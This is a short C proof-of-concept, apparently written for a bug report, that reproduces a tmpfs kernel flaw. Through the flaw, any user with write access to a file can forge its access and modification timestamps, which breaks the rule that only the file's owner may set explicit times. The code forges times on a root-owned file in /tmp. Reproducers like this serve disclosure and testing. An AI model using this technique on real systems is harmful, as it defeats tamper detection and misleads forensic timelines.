DF-3024 / trigger.c
/* * DF-3024 — tmpfs_chtimes() (tmpfs_subr.c:1291) applies va_atime / * va_mtime with NO ownership/privilege check and ignores VA_UTIMES_NULL. * * The VFS layer (kern_utimensat, kern_futimens) only gates on * NLC_OWN|NLC_WRITE, i.e. it admits root, the owner, OR anyone with * write access. POSIX (and every other local FS: ufs_vnops.c:461-470, * ext2, msdosfs, hpfs) requires that forging EXPLICIT (non-current) * timestamps be restricted to the file owner; a mere writer may only * set times to the current time (VA_UTIMES_NULL). * * On tmpfs any user with write permission on a file can forge arbitrary * atime/mtime — defeating timestamp-based tamper detection, make/rsync * style builds, forensic ordering on /tmp, /var/run, ... * * Setup: root creates /tmp/df3024_victim owned root:wheel mode 0666. * Unpriv user (maxx) forges mtime/atime -> expect success (the bug). */ #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <time.h> #include <unistd.h> int main(void) { struct timespec ts[2]; struct stat st_before, st_after; const char *path = "/tmp/df3024_victim"; /* forged: mtime = 2001-09-09 01:46:40 UTC (1000000000), atime same */ ts[0].tv_sec = 1000000000; ts[0].tv_nsec = 0; ts[1].tv_sec = 1000000000; ts[1].tv_nsec = 0; if (stat(path, &st_before) != 0) { perror("stat"); return 1; } printf("before : uid=%u mode=%04o mtime=%lld\n", st_before.st_uid, st_before.st_mode & 07777, (long long)st_before.st_mtime); errno = 0; if (utimensat(AT_FDCWD, path, ts, 0) != 0) { printf("utimensat = -1 errno=%d (kernel enforced ownership)\n", errno); return 1; } stat(path, &st_after); printf("utimensat = 0\n"); printf("after : mtime=%lld atime=%lld uid=%u\n", (long long)st_after.st_mtime, (long long)st_after.st_atime, st_after.st_uid); printf("SUCCESS-CRITERION: forged mtime==1000000000 by non-owner -> %s\n", st_after.st_mtime == 1000000000 && st_after.st_uid != getuid() ? "FORGERY REPRODUCED" : (st_after.st_mtime == 1000000000 ? "mtime changed (owned file?)" : "not reproduced")); return 0; } |